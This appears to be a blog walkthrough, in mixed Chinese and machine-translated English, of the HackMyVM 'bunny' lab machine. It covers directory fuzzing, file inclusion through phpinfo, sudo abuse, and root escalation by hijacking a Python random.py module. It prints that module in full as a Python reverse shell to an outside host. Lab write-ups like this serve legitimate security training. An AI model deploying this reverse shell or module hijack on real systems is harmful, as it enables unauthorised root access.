当前位置:网站首页>hackmyvm-bunny预排
hackmyvm-bunny预排
2022-08-02 03:59:00 【xdeclearn】
hackmyvm-buny walkthrough
难度(作者评价):difficult
信息收集
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
获取shell
Very little port information,常规操作,访问80,爆破目录.

upload.php,password.txt,config.phpAll are text files with no real meaning.phpinfo.phpInformation about the host was leaked.
能想到的就是index.php是不是存在ssrf.于是利用ffuf对index.php进行参数fuzz,得到参数pageis the actual request parameter.
由于allow_url_include是off,So there is no way to do itphp://input和data协议利用. Blast log files also cannot be exploited for local file inclusion fetchesshell.
同时webThere is no upload point in the service,So refer to the articlephp文件包含漏洞(利用phpinfo)复现[1],成功上传shell.


切换用户
Obtained for ease of operationpty,反弹一个shell,查看sudo.
magic文件如下:
#/bin/bash
$1 $2 $3 -T -TT 'sh #'
It's easy to switch to userchris,得到第一个flag.

提权至root
利用pspy64可以看到rootRunning every minutependu.py.
This file does nothing,但是引入了random.

从图中可以看到random是可以修改的.于是将randomChange it to a bounceshell.
[email protected]:~$ cat /usr/lib/python3.7/random.py
cat /usr/lib/python3.7/random.py
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("*.*.*.*",5555))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
成功获取root权限.
参考
- https://www.cnblogs.com/xiaoqiyue/p/10158702.html
边栏推荐
猜你喜欢

解决 Zlibrary 卡死/找不到域名/达到限额问题,Zlibrary最新地址

阿里云设置域名解析重定向后,无法使用Chrome访问

hackmyvm: may walkthrough
![[league/climate]一个功能健全的命令行功能操作库](/img/ce/39114b1c74af649223db97e5b0e29c.png)
[league/climate]一个功能健全的命令行功能操作库
![微信小程序开发视频加载:[渲染层网络层错误] Failed to load media](/img/24/e12a1312aee28a43428b2ae0bfbe00.png)
微信小程序开发视频加载:[渲染层网络层错误] Failed to load media
![[sebastian/diff] A historical change extension library for comparing two texts](/img/c7/ea79db7a5003523ece7cf4f39e4987.png)
[sebastian/diff] A historical change extension library for comparing two texts

(3) 字符串

hackmyvm-hopper walkthrough

DarkHole: 2 vulnhub walkthrough

12.什么是JS
随机推荐
hackmyvm: again walkthrough
轮播图详解(完整代码在最后)
[symfony/finder] The best file manipulation library
PHP 给图片添加全图水印
12.什么是JS
数组的高级操作
TCP communications program
多线程(实现多线程、线程同步、生产者消费者)
CTF入门笔记之ping
(3) Thinkphp6 database
[symfony/mailer]一个优雅易用的发送邮件类库
(4) 函数、Bug、类与对象、封装、继承、多态、拷贝
DVWA drone installation tutorial
16. JS events, string and operator
3.PHP数据类型、常量、字符串和运算符
Shuriken: 1 vulnhub walkthrough
[campo/random-user-agent] Randomly fake your User-Agent
12. What is JS
The Error in the render: "TypeError: always read the properties of null '0' (reading)" Error solution
[league/flysystem] An elegant and highly supported file operation interface